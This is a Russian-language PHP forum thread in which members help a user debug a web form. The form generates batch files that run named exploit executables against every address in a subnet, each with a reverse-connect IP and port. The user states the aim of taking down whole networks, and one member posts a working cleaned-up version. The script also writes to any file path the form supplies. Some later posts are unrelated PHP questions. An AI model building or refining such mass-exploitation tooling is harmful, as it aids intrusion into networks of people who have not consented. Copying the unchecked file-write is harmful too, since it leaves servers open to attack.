$myip = $HTTP_POST_VARS['myip']; //Ип адресс для обратного конекта
$port = $HTTP_POST_VARS['port']; //Порт на который будет произведен конект
$ex = $HTTP_POST_VARS['ex']; //название експлоита 0
$ex1 = $HTTP_POST_VARS['ex1']; //название експлоита 1
$ex2 = $HTTP_POST_VARS['ex2']; //название експлоита 2
$file = $HTTP_POST_VARS['file']; //Путь до файла
$probel = " ";
$send = "
";
$fh = fopen($file, "a+"); //Открытие файла


//------------------ Первый сплоит ------------

for($i=$start;$i<$end;$i++)
//Строка 1
$content = $ex.$probel.$p0.$probel.$ip.$i.$probel.$port.$prob el.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 2
$content = $ex.$probel.$p1.$probel.$ip.$i.$probel.$port.$prob el.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 3
$content = $ex.$probel.$p2.$probel.$ip.$i.$probel.$port.$prob el.$myip.$send.$send;
$ok = fwrite($fh, $content);

//------------------ Второй сплоит ------------

//Строка 1
$content = $ex1.$probel.$p0.$probel.$ip.$i.$probel.$port.$pro bel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 2
$content = $ex1.$probel.$p1.$probel.$ip.$i.$probel.$port.$pro bel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 3
$content = $ex1.$probel.$p2.$probel.$ip.$i.$probel.$port.$pro bel.$myip.$send.$send;
$ok = fwrite($fh, $content);

//------------------ Третий сплоит ------------

//Строка 1
$content = $ex2.$probel.$p0.$probel.$ip.$i.$probel.$port.$pro bel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 2
$content = $ex2.$probel.$p1.$probel.$ip.$i.$probel.$port.$pro bel.$myip.$send;
$ok = fwrite($fh, $content);
//Строка 3
$content = $ex2.$probel.$p2.$probel.$ip.$i.$probel.$port.$pro bel.$myip.$send.$send;
$ok = fwrite($fh, $content);


{
$array[$i] = $i;
}

?>

вывод получается не полностью

получается только



ex.exe 0 192.168.1.4 40 192.168.1.2
ex.exe 1 192.168.1.5 40 192.168.1.2
ex.exe 2 192.168.1.5 40 192.168.1.2

ex1.exe 0 192.168.1.5 40 192.168.1.2
ex1.exe 1 192.168.1.5 40 192.168.1.2
ex1.exe 2 192.168.1.5 40 192.168.1.2

ex2.exe 0 192.168.1.5 40 192.168.1.2
ex2.exe 1 192.168.1.5 40 192.168.1.2
ex2.exe 2 192.168.1.5 40 192.168.1.2




т.е. видно только последние параметры диапазона
4ку в одной строке и 5ку в остальных

че я опять сделал не так?)))

Ctacok
08.12.2009, 10:18
поставить 6 я сам догадался))))))

именно при значении 5 надо)
$start = 0

LStr1ke
08.12.2009, 10:32
Ппц тока ща обратил внимание =\

for($i=$start;$i<=$end;$i++)

После этого поставь {

а тут убери перед $array;

{
$array[$i] = $i;
}

и желательно дописывать "\r\n" чтобы переводил на новую строчку в файле, если необходимо конечно =\
$ok = fwrite($fh, $content."\r\n");
и всякие $probel'Ы просто убивают. PHP сквозь слезы выполнняет скрипт.
А вообще код можно значительно сократить до пары строчек объявления переменных и 1 циклом

Vinsik
08.12.2009, 10:37
...
А вообще код можно значительно сократить до пары строчек объявления переменных и 1 циклом
я это и делаю =)

Freakazoitt
08.12.2009, 10:49
Вопрос как написать такой скрипт:

В базе лежит время в секундах от эпохи unix (что-то вроде 1260186641)

надо сравнить это время с текущим и показать результат в минутах (типа сколько ждёт)

если больше 99 минут, заменяем словом "долго"

b3
08.12.2009, 11:07
Вопрос как написать такой скрипт:

В базе лежит время в секундах от эпохи unix (что-то вроде 1260186641)

надо сравнить это время с текущим и показать результат в минутах (типа сколько ждёт)

если больше 99 минут, заменяем словом "долго"

<?php
$now_date = '1260186641';
$now_date_2 = time();
$a = ($now_date_2 - $now_date) / 60;

if(intval($a) >= 99)
{
echo 'Много, а точнее: '.intval($a).' минут(ы)<br>';
echo 'Либо по нормальному разница в <b>'.date('H:i:s',$now_date_2 - $now_date).'</b>';
}
?>

Вывод:

Много, а точнее: 1157 минут(ы)
Либо по нормальному разница в 19:17:31

Vinsik
08.12.2009, 11:23
$content = $HTTP_POST_VARS[content]; не получает переменные как $test.$test2.$test3 а получает как "$test.$test2.$test3" можно какнить это поправить?

Vinsik
08.12.2009, 11:29
$content = $HTTP_POST_VARS[content]; не получает переменные как $test.$test2.$test3 а получает как "$test.$test2.$test3" можно какнить это поправить?
если кому интересно нафига мне это все
http://img710.imageshack.us/img710/6435/87892072.jpg

LStr1ke
08.12.2009, 11:34
$HTTP_POST_VARS[content];
Замени на
$_POST[content];
Например
$ex = $_POST['ex'];

Vinsik
08.12.2009, 11:42
$HTTP_POST_VARS[content];
Замени на
$_POST[content];
Например
$ex = $_POST['ex'];
$content = $_POST['content'];
таже история
на выводе также
$ex.$probel.$param.$ip.$i.$probel.$port.$probel.$m yip
а не их значения

Eo0
08.12.2009, 11:57
$content = $_POST['content'];
таже история
на выводе также
$ex.$probel.$param.$ip.$i.$probel.$port.$probel.$m yip
а не их значения
если правильно понял что надо:
$par=explode('.',str_replace('$','',$_POST['content']));
$c=count($par);
for($i=0,$content='';$i<$c;$i++) $content.=$_POST[$par[$i]];

Vinsik
08.12.2009, 12:14
если правильно понял что надо:
$par=explode('.',str_replace('$','',$_POST['content']));
$c=count($par);
for($i=0,$content='';$i<$c;$i++) $content.=$_POST[$par[$i]];

типа того, только for($i=0,$content='';$i<$c;$i++) $content.=$_POST[$par[$i]]; мне не нужен цикл

И не все переменные выводятся, я как понял этот скрипт что то заменяет и обрезает. Он еще и переменные режет

получается ex.exe0140192.168.1.2


<?
$param = $HTTP_POST_VARS['param'];
$start = $HTTP_POST_VARS['ip']; //конечный ип 1 например "18"
$end = $HTTP_POST_VARS['ip3']; //конечный ип 2 например "40"
$ip = $HTTP_POST_VARS['lan']; //вся сеть например "192.168.1."
$myip = $HTTP_POST_VARS['myip']; //Ип адресс для обратного конекта
$port = $HTTP_POST_VARS['port']; //Порт на который будет произведен конект
$ex = $HTTP_POST_VARS['ex']; //название експлоита 0
$ex1 = $HTTP_POST_VARS['ex1']; //название експлоита 1
$ex2 = $HTTP_POST_VARS['ex2']; //название експлоита 2
$file = $HTTP_POST_VARS['file']; //Путь до файла
$probel = " ";
$send = "
";
$fh = fopen($file, "a+"); //Открытие файла



$content = $_POST['content'];


for($i=$start;$i<=$end;$i++)
{
$ip = $ip.$i;
$ok = fwrite($fh, $content.$send);

$array[$i] = $i;
}

?>

вот полностью код к которому надо это приспособить =)

LStr1ke
08.12.2009, 12:45
Я тебя абсолютно не понимаю =\
Предположим ты передаешь скрипту content = "21.Паша.Врач";
и хочешь чтобы 21, Паша, Врач Заносились в соответсвующие переменные.
Вот код:

$content = "21.Паша.Врач"; //$_POST['content']
$vars = explode(".",$content);
$vozrast = $vars[0];
$name = $vars[1];
$job = $vars[2];
echo $name." : ".$vozrast." : ".$job;

Естественно, ты передаешь параметры с разделителем - . (точка) и там же передаешь IP адрес, где присутвует точка и поэтому все режется =\
Или спользуй другой разделитель, или объъясни конкретно, чего ты хочешь. У тебя был нормальный рабочий вариант, нужно лишь было чутка доработать, а ты зачем начал принимать входящие данные (как я понял) одной строкой =\

Vinsik
08.12.2009, 12:50
Я тебя абсолютно не понимаю =\
Предположим ты передаешь скрипту content = "21.Паша.Врач";
и хочешь чтобы 21, Паша, Врач Заносились в соответсвующие переменные.
Вот код:

$content = "21.Паша.Врач"; //$_POST['content']
$vars = explode(".",$content);
$vozrast = $vars[0];
$name = $vars[1];
$job = $vars[2];
echo $name." : ".$vozrast." : ".$job;

Естественно, ты передаешь параметры с разделителем - . (точка) и там же передаешь IP адрес, где присутвует точка и поэтому все режется =\
Или спользуй другой разделитель, или объъясни конкретно, чего ты хочешь. У тебя был нормальный рабочий вариант, нужно лишь было чутка доработать, а ты зачем начал принимать входящие данные (как я понял) одной строкой =\
да вариант рабочий и так есть, я просто делаю как бы онлайн сервис
который будет генерировать список ип адрессов по диапазону и сразу приписывать запросы к ним, это удобно когда хочешь например завалить целую сеть, и я хочу чтоб пользователь сам мог выберать как формировать запрос
$ex.$probel.$param.$ip.$i.$probel.$port.$probel.$m yip
$ex.$probel.$ip.$i.$probel.$port

как человеку нужно
для этого и нужны всякие пробелы =)
и на главной странице конечно же есть
<input type="text" name="content" value="$ex.$probel.$param.$ip.$i.$probel.$port.$probel.$m yip" />

Vinsik
08.12.2009, 13:09
Блин, вообщем вот полностью код, думаю так будет удобно

index.php:
<body bgcolor="#000000">
<center>
<font color="#FFFFFF">
<br><br><br><br><br><br>
<form action="2.php" method="post">
Подсеть <input type="text" name="lan" value="192.168.1." />
Адресс "ОТ" <input type="text" name="ip" />
Адресс "ДО" <input type="text" name="ip3" /><br />
Реверс IP <input type="text" name="myip" value="192.168.1.2" /><br />
Названия сплоита <input type="text" name="ex" value="ex.exe" /><br />
Порт <input type="text" name="port" value="40" /><br />
Параметр <input type="text" name="param" value="0" /><br />
Путь до bat файла <input type="text" name="file" value="C:/test.bat" /><br />
Формат списка <input type="text" name="content" value="$ex.$probel.$param.$ip.$i.$probel.$port.$probel.$m yip" /><br /><br />
$ex - Название сплоита<br />
$probel - пробел<br />
$param - желаемый параметр<br />
$ip - Ваш диапозон<br />
$port - порт =)<br />
$myip - ипадресс для обратного конекта<br />
<input type="submit" name="submit" value="Генерируй!" />
</form>
Думаю обьяснять как изменит стандартные параметры которые уже вписаны на свои, некому не надо.
</font>
</center>
</body>

2.php:

<body bgcolor="#000000">
<center>
<font color="#FFFFFF">
<br><br><br><br><br><br>
Генерация...
</font>
</center>
</body>
<?
$param = $HTTP_POST_VARS['param'];
$start = $HTTP_POST_VARS['ip']; //конечный ип 1 например "18"
$end = $HTTP_POST_VARS['ip3']; //конечный ип 2 например "40"
$ip = $HTTP_POST_VARS['lan']; //вся сеть например "192.168.1."
$myip = $HTTP_POST_VARS['myip']; //Ип адресс для обратного конекта
$port = $HTTP_POST_VARS['port']; //Порт на который будет произведен конект
$ex = $HTTP_POST_VARS['ex']; //название експлоита 0
$ex1 = $HTTP_POST_VARS['ex1']; //название експлоита 1
$ex2 = $HTTP_POST_VARS['ex2']; //название експлоита 2
$file = $HTTP_POST_VARS['file']; //Путь до файла
$probel = " ";
$send = "
";
$fh = fopen($file, "a+"); //Открытие файла

$content = $HTTP_POST_VARS[content];



//------------------
for($i=$start;$i<=$end;$i++)
{


$ip = $ip.$i;
$ok = fwrite($fh, $content.$send);

$array[$i] = $i;
}

?>
<meta http-equiv="Refresh" content="0.5; URL=/./">
это работает не правильно, т.к. переменные передаются как текст

LStr1ke
08.12.2009, 13:17
А не легче запрос производить не $ip.$probel.$kakashka
А например такой строки запроса:

name: Крякер инета; sub-net: 192.168.1; from-to: 1,255; myip: 127.0.0.1; port: 80; sploit-names: 0,1,2; file: \out.txt;

это работает не правильно, т.к. переменные передаются как текст
Так естесвенно! Тебе нужно передовать значения, а не название переменных. =\

Eo0
08.12.2009, 13:23
unset($_POST['content'][0]);
$par=explode('$',str_replace('.','',$_POST['content']));
$c=count($par);
for($i=0,$content='';$i<$c;$i++) $content.=$_POST[$par[$i]];

Vinsik
08.12.2009, 13:30
А не легче запрос производить не $ip.$probel.$kakashka
А например такой строки запроса:

name: Крякер инета; sub-net: 192.168.1; from-to: 1,255; myip: 127.0.0.1; port: 80; sploit-names: 0,1,2; file: \out.txt;


Так естесвенно! Тебе нужно передовать значения, а не название переменных. =\
тогда будет все по шаблону, и ип адресс поменять с портом у юзера местами не получиться, так я уже сделал

unset($_POST['content'][0]);
$par=explode('$',str_replace('.','',$_POST['content']));
$c=count($par);
for($i=0,$content='';$i<$c;$i++) $content.=$_POST[$par[$i]];
и куда это?

LStr1ke
08.12.2009, 13:49
тогда будет все по шаблону, и ип адресс поменять с портом у юзера местами не получиться, так я уже сделал
Как это не получится?
Нужно брать строку и регулярными вырожениями принимать данные ip: %; name: %; и т.д. И в каком будет порядке - без разницы

Vinsik
08.12.2009, 13:51
Как это не получится?
Нужно брать строку и регулярными вырожениями принимать данные ip: %; name: %; и т.д. И в каком будет порядке - без разницы
покажи на примере кода

Eo0
08.12.2009, 13:56
<body bgcolor="#000000">
<center>
<font color="#FFFFFF">
<br><br><br><br><br><br>
Генерация...
</font>
</center>
</body>
<?
$param = $HTTP_POST_VARS['param'];
$start = $HTTP_POST_VARS['ip']; //конечный ип 1 например "18"
$end = $HTTP_POST_VARS['ip3']; //конечный ип 2 например "40"
$ip = $HTTP_POST_VARS['lan']; //вся сеть например "192.168.1."
$myip = $HTTP_POST_VARS['myip']; //Ип адресс для обратного конекта
$port = $HTTP_POST_VARS['port']; //Порт на который будет произведен конект
$ex = $HTTP_POST_VARS['ex']; //название експлоита 0
$ex1 = $HTTP_POST_VARS['ex1']; //название експлоита 1
$ex2 = $HTTP_POST_VARS['ex2']; //название експлоита 2
$file = $HTTP_POST_VARS['file']; //Путь до файла
$probel = " ";
$send = "
";
$fh = fopen($file, "a+"); //Открытие файла

unset($_POST['content'][0]);
$par=explode('$',str_replace('.','',$_POST['content']));
$c=count($par);
for($i=0,$content='';$i<$c;$i++) $content.=$_POST[$par[$i]];



//------------------
for($i=$start;$i<=$end;$i++)
{


$ip = $ip.$i;
$ok = fwrite($fh, $content.$send);

$array[$i] = $i;
}

?>

Vinsik
08.12.2009, 14:21
<body bgcolor="#000000">
<center>
<font color="#FFFFFF">
<br><br><br><br><br><br>
Генерация...
</font>
</center>
</body>
<?
$param = $HTTP_POST_VARS['param'];
$start = $HTTP_POST_VARS['ip']; //конечный ип 1 например "18"
$end = $HTTP_POST_VARS['ip3']; //конечный ип 2 например "40"
$ip = $HTTP_POST_VARS['lan']; //вся сеть например "192.168.1."
$myip = $HTTP_POST_VARS['myip']; //Ип адресс для обратного конекта
$port = $HTTP_POST_VARS['port']; //Порт на который будет произведен конект
$ex = $HTTP_POST_VARS['ex']; //название експлоита 0
$ex1 = $HTTP_POST_VARS['ex1']; //название експлоита 1
$ex2 = $HTTP_POST_VARS['ex2']; //название експлоита 2
$file = $HTTP_POST_VARS['file']; //Путь до файла
$probel = " ";
$send = "
";
$fh = fopen($file, "a+"); //Открытие файла

unset($_POST['content'][0]);
$par=explode('$',str_replace('.','',$_POST['content']));
$c=count($par);
for($i=0,$content='';$i<$c;$i++) $content.=$_POST[$par[$i]];



//------------------
for($i=$start;$i<=$end;$i++)
{


$ip = $ip.$i;
$ok = fwrite($fh, $content.$send);

$array[$i] = $i;
}

?>
пустой файл на выходе

extreemal
09.12.2009, 00:11
Ты пытаешься записать файл, который открыт для чтения.
Закрой файл и открой заново, но только с меткой "w+".
И вобще смотрю тут файл у тебя нигде не закрывается..

m0Hze
09.12.2009, 00:14
Ты пытаешься записать файл, который открыт для чтения.
Закрой файл и открой заново, но только с меткой "w+".
И вобще смотрю тут файл у тебя нигде не закрывается..
Зачем говорить о том,что не знаеш? w+ - маркер, который сдвинет запись на начало файла = очистит и запишет заного.
a+ - если не изменяет память, откроет на чтение и запись с конца файла.Если файл не создан,и позволяют права - создаст файл.

extreemal
09.12.2009, 01:52
Ну, возможно, ошибся. В ман не лез, не освежал память.
высказал возможное предположение..в реале, конечно же, надо тестить и смотреть в чем причина.

b3
09.12.2009, 10:37
Немного исправил ошибки, нг мне не совсем понятен смысл скрипа, и я бы застрелил того кто его писал.

$probel = " ";
$send = "
";

Это что-то нечто.


<form method="post" enctype="application/x-www-form-urlencoded">
Подсеть <input type="text" name="lan" value="192.168.1." />
Адресс "ОТ" <input type="text" name="ip" />
Адресс "ДО" <input type="text" name="ip3" /><br />
Реверс IP <input type="text" name="myip" value="192.168.1.2" /><br />
Названия сплоита <input type="text" name="ex" value="ex.exe" /><br />
Порт <input type="text" name="port" value="40" /><br />
Параметр <input type="text" name="param" value="0" /><br />
Путь до bat файла <input type="text" name="file" value="test.txt" /><br />
<br />
<input type="submit" name="submit" value="Генерируй!" />
</form>

<?php
if(!isset($_POST['submit']))
exit;

$param = $_POST['param'];
$start = $_POST['ip'];
$end = $_POST['ip3'];
$ip = $_POST['lan'];
$myip = $_POST['myip'];
$port = $_POST['port'];
$ex = $_POST['ex'];
$file = $_POST['file'];


$fh = fopen($file, "a+");

for($i=$start; $i<=$end ;$i++) {
$ip = $ip.$i;
$content = $ex.' '.$param.$ip.$i.' '.$port.' '.$myip;
fwrite($fh, $content."\r\n");
$array[$i] = $i;
}

?>

Byrger
09.12.2009, 19:47
Серверу передается переменная которая содержит 1 значение
$id='7777';
или несколько вот так
$id='"7777|7776"';

Как ид можно занести в массив при такой передачи? (длинна ид разная, только числа.)

m0Hze
09.12.2009, 19:54
Серверу передается переменная которая содержит 1 значение
$id='7777';
или несколько вот так
$id='"7777|7776"';

Как ид можно занести в массив при такой передачи? (длинна ид разная, только числа.)

$ids = explode('|',$id);
echo $ids[0];

Architek86
09.12.2009, 21:45
как понимать такую хрень Warning: fread(): 45 is not a valid stream resource in /home/***/***.php on line 9
??? Что за 45?

b3
09.12.2009, 21:57
Видимо местами попутал ресурс и кол-во байт для чтения.
string fread ( resource $handle , int $length )
А вообще в таких случая приводят сам код, тут телепаты не все.